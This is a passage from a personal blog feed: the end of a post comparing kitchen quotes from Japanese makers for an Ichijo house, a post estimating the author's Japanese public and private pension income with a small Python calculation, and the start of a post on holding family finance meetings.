&lt;p&gt;With Miele dishwasher, Panasonic IH stove, and stainless steel counter-top this came out to be 3,643,500 yen at list price.　With Ichijo’s discount this price went down to 2,883,500 yen (although it wasn’t clear if we would have to pay the installation fee on top of this, or if that was already included).&lt;/p&gt;

&lt;h3 id=&quot;panasonic&quot;&gt;Panasonic&lt;/h3&gt;

&lt;p&gt;Next we visited Panasonic’s showroom. Since we were disappointed in their front-open dishwasher (and they only use Panasonic equipment), we sort of ruled them out almost immediately. Their estimate for a kitchen very similar to LIXIL’s above came in at 3,494,500 yen after the Ichijo discounts.&lt;/p&gt;

&lt;h3 id=&quot;takara-standard&quot;&gt;Takara Standard&lt;/h3&gt;

&lt;p&gt;The next company was Takara Standard. Their appeal should be that they offer less fancy options than LIXIL for a cheaper price. We can confirm both, as the only color option we liked was from their highest tier, and they indeed ended up being cheaper than LIXIL. Also they make the shelves and drawers from steel, so magnetic dividers, hooks, etc. can be attached everywhere. (They do this likely to lower the price, but I really liked it for the flexibility of attaching things to it.)&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/2025-04-12-custom-kitchen-with-ichijo/takara.png#lb&quot; alt=&quot;Takara Standard&apos;s kitchen design&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Their estimate came in at ¥2,479,300 on list price, which went down to 2,049,600 after the Ichijo discount.&lt;/p&gt;

&lt;h3 id=&quot;woodone&quot;&gt;WoodOne&lt;/h3&gt;

&lt;p&gt;We weren’t really happy with either of the above options: they felt overpriced and didn’t like that they all pushed us towards their most expensive lineup by pulling weird tricks like making the bottom have a gap that looks really bad with the front-open dishwasher. Also the pricing felt really arbitrary (which wasn’t helped by the fact that they all sent their quotes to Ichijo only, and we had to ask our Ichijo contact to share them with us).&lt;/p&gt;

&lt;p&gt;Then my wife found &lt;a href=&quot;https://www.woodone.co.jp/product/item/housing_cat/kitchen/&quot;&gt;WoodOne&lt;/a&gt;: this is a company that focuses on the wooden part of the products they offer: they will add the equipment, but since their focus is the body of the furniture, they have better design (at least for us) and much clearer pricing: for each equipment they list its price in their catalog, and that’s it. This also allowed us to compare multiple options for the IH, and kitchen hood.&lt;/p&gt;

&lt;p&gt;This comparison let us upgrade the IH stove from the standard Panasonic one (that we chose with the other makers) to a &lt;a href=&quot;https://www.youtube.com/watch?v=5afwIsnyxf4&quot;&gt;Gaggenau one&lt;/a&gt;. To me this feels that it was designed by people who actually cook a lot, unlike other makers that seem to be content with the status quo. (The only reason most IH stove look like they do is that they are modelled after gas stoves. Gaggenau on the other hand gives you the whole surface with much more control options.)&lt;/p&gt;

&lt;p&gt;In the end this was the kitchen that we went with from WoodOne (the layout meanwhile changed, so instead of an L shape we got an I shape peninsula type kitchen):&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/2025-04-12-custom-kitchen-with-ichijo/woodone.png#lb&quot; alt=&quot;WoodOne&apos;s kitchen design&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Their list price came out to 1,983,300 yen, which went down to 1,264,500 yen after the Ichijo discount. This includes the installation fee and the original kitchen’s cancellation refund too. (This was the actual price we ended up paying in the end.)&lt;/p&gt;

&lt;h3 id=&quot;price-summary&quot;&gt;Price summary&lt;/h3&gt;

&lt;p&gt;So let’s compare the price. For Ichijo, I added the following options (as we made similar choices with the other makers, and we would have added these options if we go with Ichijo’s kitchen):&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;water purifier: ¥107,000&lt;/li&gt;
  &lt;li&gt;upgraded IH stove: ¥72,600&lt;/li&gt;
  &lt;li&gt;Panasonic front-open dishwasher: ¥275,000&lt;/li&gt;
&lt;/ul&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Maker&lt;/th&gt;
      &lt;th&gt;List price&lt;/th&gt;
      &lt;th&gt;Discounted price&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;Ichijo with Panasonic front-open&lt;/td&gt;
      &lt;td&gt;454,600 yen&lt;/td&gt;
      &lt;td&gt;454,600 yen&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Ichijo with bring-your-own Miele&lt;/td&gt;
      &lt;td&gt;777,860 yen&lt;/td&gt;
      &lt;td&gt;777,860 yen&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;LIXIL&lt;/td&gt;
      &lt;td&gt;3,643,500 yen&lt;/td&gt;
      &lt;td&gt;2,883,500 yen&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Panasonic&lt;/td&gt;
      &lt;td&gt;&lt;em&gt;no information as they only sent the quote to Ichijo&lt;/em&gt;&lt;/td&gt;
      &lt;td&gt;3,494,500 yen&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Takara Standard&lt;/td&gt;
      &lt;td&gt;2,479,300 yen&lt;/td&gt;
      &lt;td&gt;2,049,600 yen&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;WoodOne&lt;/td&gt;
      &lt;td&gt;1,983,300 yen&lt;/td&gt;
      &lt;td&gt;1,264,500 yen&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;h2 id=&quot;cupboard&quot;&gt;Cupboard&lt;/h2&gt;

&lt;p&gt;Moreover, we also wanted to have a cupboard in the kitchen, which is a paid option from Ichijo:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/2025-04-12-custom-kitchen-with-ichijo/ichijo-grace-cupboards.png#lb&quot; alt=&quot;Ichijo&apos;s Grace Cupboard size and price options (as of January 2024)&quot; /&gt;&lt;/p&gt;

&lt;p&gt;While it would be possible to get the cupboard and the kitchen from different companies, they are placed close to each other, so having them in different design won’t look good. So we decided to get them from the same company as the kitchen, so for the full comparison, let’s add them too.&lt;/p&gt;

&lt;p&gt;The cupboard options:&lt;/p&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Maker&lt;/th&gt;
      &lt;th&gt;List price&lt;/th&gt;
      &lt;th&gt;Price after discount and with installation fee&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;Ichijo (180cm wide Grace Cupboard)&lt;/td&gt;
      &lt;td&gt;354,200 yen&lt;/td&gt;
      &lt;td&gt;354,200 yen&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;LIXIL (183 cm wide)&lt;/td&gt;
      &lt;td&gt;839,500 yen&lt;/td&gt;
      &lt;td&gt;860,000 yen&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Panasonic&lt;/td&gt;
      &lt;td&gt;&lt;em&gt;no information as they only sent the quote to Ichijo&lt;/em&gt;&lt;/td&gt;
      &lt;td&gt;1,197,000 yen&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Takara Standard (180 cm wide)&lt;/td&gt;
      &lt;td&gt;550,400 yen&lt;/td&gt;
      &lt;td&gt;550,400 yen&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;WoodOne (229 cm wide, without overhead storage)&lt;/td&gt;
      &lt;td&gt;503,600 yen&lt;/td&gt;
      &lt;td&gt;595,000 yen&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;p&gt;Talk about a spread! From 354,200 yen to more than triple that at 1,197,000 yen.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/2025-04-12-custom-kitchen-with-ichijo/woodone-cupboard.png#lb&quot; alt=&quot;The WoodOne cupboard we chose in the end. The other options included the overhead storage too. The part on the left is left empty for trash cans&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;comparison&quot;&gt;Comparison&lt;/h2&gt;

&lt;p&gt;So let’s compare all options, their prices, and anything that sets them apart.&lt;/p&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Option&lt;/th&gt;
      &lt;th&gt;Price&lt;/th&gt;
      &lt;th&gt;Comment&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;Ichijo with Panasonic front-open&lt;/td&gt;
      &lt;td&gt;808,800 yen&lt;/td&gt;
      &lt;td&gt;The dishwasher would be Panasonic, which we didn’t like that much. Also the design is meh.&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Ichijo with bring-your-own Miele&lt;/td&gt;
      &lt;td&gt;1,132,060 yen&lt;/td&gt;
      &lt;td&gt;The design is meh, installation is an extra step (another company has to do it), and the price is likely higher (we used numbers from 2021)&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;LIXIL&lt;/td&gt;
      &lt;td&gt;3,743,500 yen&lt;/td&gt;
      &lt;td&gt;This was for the L shape, so the I shape without overhead storage would be cheaper.&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Panasonic&lt;/td&gt;
      &lt;td&gt;4,691,500 yen&lt;/td&gt;
      &lt;td&gt;The dishwasher is Panasonic. The price would be less due to the smaller size.&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Takara Standard&lt;/td&gt;
      &lt;td&gt;2,600,000 yen&lt;/td&gt;
      &lt;td&gt;The price would be less due to the smaller size.&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;WoodOne&lt;/td&gt;
      &lt;td&gt;1,859,500 yen&lt;/td&gt;
      &lt;td&gt;No overhead storage on either the kitchen or the cupboard. Real wood front (pine) and cupboard top (oak). Gaggenau IH.&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;h2 id=&quot;decision&quot;&gt;Decision&lt;/h2&gt;

&lt;p&gt;We have friends who built with Ichijo and went with one of the first 2 options, and those are very reasonable decisions. However we really didn’t like Ichijo’s design, and enjoyed working with WoodOne, so we decided to go with them. I’ll share photos and our experience once we move in.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/2025-04-12-custom-kitchen-with-ichijo/similar-kitchen.jpg#lb&quot; alt=&quot;Until then, here is a photo of a similar kitchen that I found online (source: https://www.okuta.com/blog/e030/255). We will have similar shape and size, but with stainless steel top and IH stove&quot; /&gt;&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Pension in Japan</title>
   <link href="https://szabo.jp/2025/04/11/pension-in-japan/"/>
   <updated>2025-04-11T00:00:00+00:00</updated>
   <id>https://szabo.jp/2025/04/11/pension-in-japan</id>
   <content type="html">&lt;p&gt;I’m still pretty far from retirement, but recently I’ve been looking into how the pension works in Japan, so I’ll share my learnings in this post.&lt;/p&gt;

&lt;!--break--&gt;

&lt;p&gt;There are multiple sources of pension payments one can receive in Japan, I’ll cover the ones that I found relevant for my situation as a full time company employee.&lt;/p&gt;

&lt;h2 id=&quot;public-pensions&quot;&gt;Public pensions&lt;/h2&gt;

&lt;p&gt;As a company employee I’m paying (and thus eligible to receive) two types of public pension.&lt;/p&gt;

&lt;h3 id=&quot;national-pension-国民年金&quot;&gt;National Pension, 国民年金&lt;/h3&gt;

&lt;p&gt;This is mandatory for everybody between the age of 20 and 59 living in Japan. For people who need to pay this for themselves, it costs 16,980 yen/month (regardless of the income), but for full time employees this is included in the Employee’s Pension (see below). (&lt;a href=&quot;https://www.nenkin.go.jp/international/japanese-system/nationalpension/nationalpension.html&quot;&gt;source&lt;/a&gt;)&lt;/p&gt;

&lt;p&gt;Since everyone pays the same amount, everyone will get the same amount. In 2024 this was ￥816,000 per year, assuming you paid for the full 40 years (20-59 years of age). I moved to Japan when I was 26, so for me this gets prorated and I expected to receive around &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;34/40*816,000=693,600 yen&lt;/code&gt; (simplified calculation, the real number depends on the actual months I paid into the system so it will be 685,100 yen as I moved to Japan 5 months after my 26th birthday). (&lt;a href=&quot;https://www.nenkin.go.jp/international/japanese-system/nationalpension/nationalpension.html#:~:text=Category%20%E2%85%A2%20insured%20person.-,Benefit%20Amount%20(Fiscal%20year%202024),-%EF%BF%A5816%2C000*%20(annual%20benefit&quot;&gt;source&lt;/a&gt; and my NenkinNet estimate)&lt;/p&gt;

&lt;p&gt;So this is 68,000 yen per month for the average person (and only 57,092 yen for me).&lt;/p&gt;

&lt;h3 id=&quot;employees-pension-insurance-厚生年金&quot;&gt;Employees’ Pension Insurance, 厚生年金&lt;/h3&gt;

&lt;p&gt;As a company employee I’m actually paying into this second pension, and expect to receive pension from it. Here the contributions are proportional to my salary, and the payout will also depend on the amount contributed.&lt;/p&gt;

&lt;p&gt;The contribution is calculated as 18.3% of one’s base salary plus fixed allowances (but not bonuses), and the company pays half of it, while the other half gets deducted from one’s salary. So effectively 9.15% gets deducted from each paycheck (except the yearly bonus).&lt;/p&gt;

&lt;p&gt;The payout can be calculated with this formula: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;5.481*(yearly incomes in all years while contributing)/1000&lt;/code&gt;. So e.g. someone with an average yearly income of 15 million yen and 34 years of contributions this would be 2,795,310 yen per year (or 232,942.5 yen per month).&lt;/p&gt;

&lt;h3 id=&quot;inflation-adjustment&quot;&gt;Inflation adjustment&lt;/h3&gt;

&lt;p&gt;While these numbers are pretty low, at least they get adjusted by inflation (sort of): I won’t actually get 685,100 yen per year from the national pension, I will get a higher number, but I will be able to buy close to the same amount of stuff as 685,100 yen would get me today.&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;https://www.reddit.com/r/JapanFinance/comments/1i8q39k/pension_benefits_amount_for_2025/&quot;&gt;This reddit post&lt;/a&gt; nicely summarizes the yearly adjustment for 2024:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;As always, and as mandated by law, pension benefits for people under age 68 move in line with average wages (minus the macroeconomic slide), whereas pension benefits for people over age 68 move in line with inflation (minus the macroeconomic slide). This year, average wages were up 2.3% and inflation was 2.7%. The macroeconomic slide was calculated as -0.4%. The same as last year, the macroeconomic slide includes a -0.1% adjustment for the change in the number of pension benefit recipients, and a -0.3% adjustment for the increase in the average life expectancy.
For example, national pension benefits (Kokumin Nenkin) will increase from ¥68,000 to ¥69,308.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Though that -0.4% is sad: it should have gone up by 2.3% but instead it only went up by 1.9%. If this would stay the same for the next 34 years (until I hit 65), then that will reduce the purchasing power of the pension to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;(1-0.004)^34=87%&lt;/code&gt;. So instead of today’s  685,100 yen worth of stuff, I will only be able to get 597,821 yen of stuff. Actually not that bad, if it means that the system stays functional.&lt;/p&gt;

&lt;h3 id=&quot;funding&quot;&gt;Funding&lt;/h3&gt;

&lt;p&gt;So where is the money coming from for this pension? Currently there are two sources:&lt;/p&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt; &lt;/th&gt;
      &lt;th&gt;Current contributions&lt;/th&gt;
      &lt;th&gt;Government subsidies (from taxes)&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;National Pension&lt;/td&gt;
      &lt;td&gt;50%&lt;/td&gt;
      &lt;td&gt;50%&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Employees’ Pension Insurance&lt;/td&gt;
      &lt;td&gt;75%&lt;/td&gt;
      &lt;td&gt;25%&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;p&gt;Sources:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.mhlw.go.jp/english/org/policy/dl/p36-37p2.pdf&quot;&gt;Chapter 1 Overview of the Pension System in Japan, page 4&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.mhlw.go.jp/english/org/policy/dl/p36-37a2022_fy_summary.pdf&quot;&gt;Overview of the Annual Actuarial Report on the Public Pension Plans in Japan FY2022, page 24&lt;/a&gt; for the Employees’ Pension Insurance&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The aging population threatens the sustainability of this system, which they are trying to address in two ways:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;the macroeconomic slide shown above that slightly reduces the value of the payouts year-over-year to avoid a drastic drop or insolvency&lt;/li&gt;
  &lt;li&gt;the &lt;a href=&quot;https://www.gpif.go.jp/en/&quot;&gt;Government Pension Investment Fund&lt;/a&gt; (GPIF), which is the largest pool of retirement savings in the world (&lt;a href=&quot;https://en.wikipedia.org/wiki/Government_Pension_Investment_Fund&quot;&gt;source&lt;/a&gt;) with a whopping 258.7 trillion yen (258.7兆円) under management, which is about 2 million yen per every person in Japan. And this is currently not being used for pension payments yet, and with a rate of return of 4.4%/year (FY2001-FY2024Q3) it will just continue to grow.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;private-pension&quot;&gt;Private pension&lt;/h2&gt;

&lt;p&gt;Another way the government is trying to address this is by encouraging people to save for their own retirement. The defined-contribution (DC) pension scheme &lt;a href=&quot;https://www.ipss.go.jp/s-info/e/jasos2002/c_2.html#:~:text=5.-,Defined%2DContribution%20pension%20schemes,-The%20newly%20introduced&quot;&gt;introduced in the early 2000s provides&lt;/a&gt; tax benefits to lock up money in an investment account where it can’t be withdrawn until retirement.&lt;/p&gt;

&lt;p&gt;My current and previous companies both participate in this. At my current role the company puts 28,000 yen every month into this account (for my role), and I can choose to contribute up to 27,000 yen per month (normally up to the company contribution, but there is an overall cap of 55,000 yen). Both of these are free of income tax at contribution time, so it is highly beneficial to contribute the maximum amount (as otherwise that 27,000 yen could loose up to half of its value to tax, depending on the tax bracket).&lt;/p&gt;

&lt;p&gt;Money in a DC account can be invested according to the owner’s liking, however the brokerage is decided by the employer, so the available funds are often limited. I wanted to have something that’s similar to a &lt;a href=&quot;/2023/11/16/new-nisa-plans/&quot;&gt;globally diversified stock fund with low fees&lt;/a&gt;. The closest thing my company’s brokerage offers is the &lt;a href=&quot;https://www.nomura-am.co.jp/fund/funddetail.php?fundcd=400041&quot;&gt;5. 野村外国株式インデＦ野村ＤＣ&lt;/a&gt; which tracks the &lt;a href=&quot;https://www.msci.com/documents/10199/75637607-5053-4a11-bc59-30a604cab1fa&quot;&gt;MSCI Kokusai Index&lt;/a&gt; (developed countries excluding Japan) with a yearly fee of 0.09889% (pretty close to eMaxis Slim All Country and Vanguard Total World). This does exclude emerging markets and Japan, but this was the closest I could get without using multiple funds and having to rebalance occasionally.&lt;/p&gt;

&lt;p&gt;Assuming I contribute this amount from age 26 to 65 and we assume a real return of 4.5% (&lt;a href=&quot;https://youtu.be/Yl3NxTS_DgY?si=X0Kjq72WVY_qVpN0&amp;amp;t=408&quot;&gt;source&lt;/a&gt;), I will have 68,336,728 yen in today’s money. Let’s round this up to 70 million yen.&lt;/p&gt;

&lt;p&gt;Calculation: let’s use the &lt;a href=&quot;https://www.investopedia.com/terms/f/future-value-annuity.asp&quot;&gt;Future Value of an Annuity&lt;/a&gt; formula:&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;n&quot;&gt;monthly_contribution&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;55000&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;annual_return&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mf&quot;&gt;0.045&lt;/span&gt;  &lt;span class=&quot;c1&quot;&gt;# 4.5% real return
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;years&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;65&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;26&lt;/span&gt;  &lt;span class=&quot;c1&quot;&gt;# from age 26 to 65
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;months&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;years&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;12&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;# Future Value of a series formula (monthly compounding)
# FV = P * [((1 + r)^n - 1) / r]
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;monthly_return&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;annual_return&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;**&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;12&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;future_value&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;monthly_contribution&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(((&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;monthly_return&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;**&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;months&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;/&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;monthly_return&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;This assumes that the monthly contributions increase with inflation (so e.g. in 10 years time I won’t be contributing 55,000 yen but more). This is not true on the short-term (as the contribution limit is not tied to inflation), so the government has to explicitly increase it, but one can hope that on the long run they will increase it frequently enough to address this.&lt;/p&gt;

&lt;p&gt;So at 65 I have 70 million yen from this (in today’s money). Using a &lt;a href=&quot;https://www.youtube.com/watch?v=1FwgCRIS0Wg&quot;&gt;3% safe withdrawal rate&lt;/a&gt;, this gives me an additional 2.1 million yen per year, so 175,000 yen per month.&lt;/p&gt;

&lt;h2 id=&quot;summary&quot;&gt;Summary&lt;/h2&gt;

&lt;p&gt;Together all of this brings me to the following numbers per month (in today’s money):&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;57,092 yen from national pension (国民年金)&lt;/li&gt;
  &lt;li&gt;232,942 yen from the pension insurance (厚生年金)&lt;/li&gt;
  &lt;li&gt;175,000 yen from the private pension (DC)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Overall: 465,000 yen. Not bad, but also won’t provide for a retirement of traveling around the world and spending carelessly.&lt;/p&gt;

&lt;h2 id=&quot;looking-ahead&quot;&gt;Looking ahead&lt;/h2&gt;

&lt;p&gt;I know I have it pretty well compared to most people, but looking at it at face value, it’s quite a drop in lifestyle. Of course I have other savings, and with a house likely paid off, it will be livable, but still.&lt;/p&gt;

&lt;p&gt;But I’m actually not looking to retire. Ever since I read the &lt;a href=&quot;https://www.100yearlife.com/&quot;&gt;100-Year Life&lt;/a&gt; book, I think retirement is neither viable nor desirable. The book’s main argument is that if medical science continues to advance as it has in recent history, then half of the people born in the ’90s will live past 100 years. In this world, a retirement at 65 is simply unrealistic: we start our life with 20 years of study. Then stopping after 45 years of work and expecting to fund a 35 year retirement means one has to save a lot. Also 35 years of not doing anything just feels boring (but then again, I’m in my early 30s, so what do I know). But at this point I don’t think I will ever stop working, but instead I might reduce the amount of hours, or switch to something new (e.g. advisory role, or teaching/coaching). But then again, I’ll see it when I get old.&lt;/p&gt;

&lt;h2 id=&quot;source&quot;&gt;Source&lt;/h2&gt;

&lt;p&gt;Most of the sources are linked above. General sources used multiple times:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.ipss.go.jp/s-info/e/jasos2002/Jasos2002.html&quot;&gt;https://www.ipss.go.jp/s-info/e/jasos2002/Jasos2002.html&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.nenkin.go.jp/international/japanese-system/nationalpension/nationalpension.html&quot;&gt;https://www.nenkin.go.jp/international/japanese-system/nationalpension/nationalpension.html&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://en.an-japan.com/services/topics/ls2/approximate-pension-amount/&quot;&gt;https://en.an-japan.com/services/topics/ls2/approximate-pension-amount/&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</content>
 </entry>
 
 <entry>
   <title>Family Finance Meeting</title>
   <link href="https://szabo.jp/2025/03/16/family-finance-meeting/"/>
   <updated>2025-03-16T00:00:00+00:00</updated>
   <id>https://szabo.jp/2025/03/16/family-finance-meeting</id>
   <content type="html">&lt;p&gt;People with (good) financial advisors often have &lt;a href=&quot;https://www.ubs.com/content/dam/WealthManagementAmericas/cio-impact/Aroadmap.pdf&quot;&gt;family meetings&lt;/a&gt;, where they discuss financial matters (income, spending, investments) with their immediate family (spouse, kids). This can be useful for people without financial advisors too, so we decided to start doing it. In this post I’ll describe why and how we are going about it.&lt;/p&gt;

&lt;!--break--&gt;

&lt;h2 id=&quot;why&quot;&gt;Why&lt;/h2&gt;

&lt;p&gt;It starts with a few questions:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Growing up, did you know how much money your parents made? How much they saved? How did they invest (if at all)?&lt;/li&gt;
  &lt;li&gt;Right now, do you know how much your partner makes and how they save/invest?&lt;/li&gt;
  &lt;li&gt;Do you know how much you make after taxes and how much of that is spent and saved? Do you know how your investments did over the last year?&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;For me the answer to almost all of this was no (including about my own after-tax income). I knew I could look it up, but I just never did. Thus I decided to gather the information and then have a discussion about it with my family. For now, this is my wife, as our daughter is only 1 years old (although she was present), but I also aim to use these meetings as the kid(s) are growing up to keep them in-the-loop about our finances.&lt;/p&gt;

&lt;h2 id=&quot;gathering-the-data&quot;&gt;Gathering the data&lt;/h2&gt;

&lt;p&gt;So we need data. Luckily we have a spreadsheet where I record income and spending each month:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Income&lt;/strong&gt; is easy (how much hits our bank accounts). Even if we forget in a month, it can be collected later.&lt;/p&gt;

&lt;p&gt;For &lt;strong&gt;spending&lt;/strong&gt; we have the follow categories:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;rent - constant, so easy&lt;/li&gt;
  &lt;li&gt;house - we are building a house, so this will replace rent soon. Until then, we are already paying the mortgage for the land, and we have misc expenses (e.g. cutting the grass on the land), so those go into this&lt;/li&gt;
  &lt;li&gt;shared account - we have &lt;a href=&quot;/2022/05/07/shared-account/&quot;&gt;a Kyash account&lt;/a&gt; that both my wife and I have debit cards for, and we use this for everyday spending. Utilities are also charged to this, as well as smaller trips. Here I track how much money we put into the account each month.&lt;/li&gt;
  &lt;li&gt;nursery (and in the future, general education) - mostly constant, so easy&lt;/li&gt;
  &lt;li&gt;“pocket money” for my wife and I
    &lt;ul&gt;
      &lt;li&gt;I track my spendings, so I have the exact number of how much I spent&lt;/li&gt;
      &lt;li&gt;tracking expenses individually didn’t work for my wife, so she uses a dedicated bank account where we put a fixed amount monthly, and just record that amount&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;extra expenses - anything major that doesn’t fit into the above categories, e.g. international trips, electric bike, buying a car. They are essentially the same as the shared account, but kept separate to make them easier to review, as they are the big expenses. Also these are usually more or less discretionary, so they can be cut back if need be (while the shared account includes mainly daily essentials, food, utilities, which are harder to reduce)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;New investments&lt;/strong&gt; are also relatively easy: we both have automated monthly investments, and when we make any additional investment (e.g. after receiving bonus at work), we just add that to the spreadsheet manually (but again, this is easy to check later if we forgot something).&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Existing investment growth&lt;/strong&gt; can be obtained from our brokerages, however they usually compare total value of portfolio a year ago vs now, so we have to subtract the new investments to get the pure investment growth (or loss).&lt;/p&gt;

&lt;h2 id=&quot;when&quot;&gt;When&lt;/h2&gt;

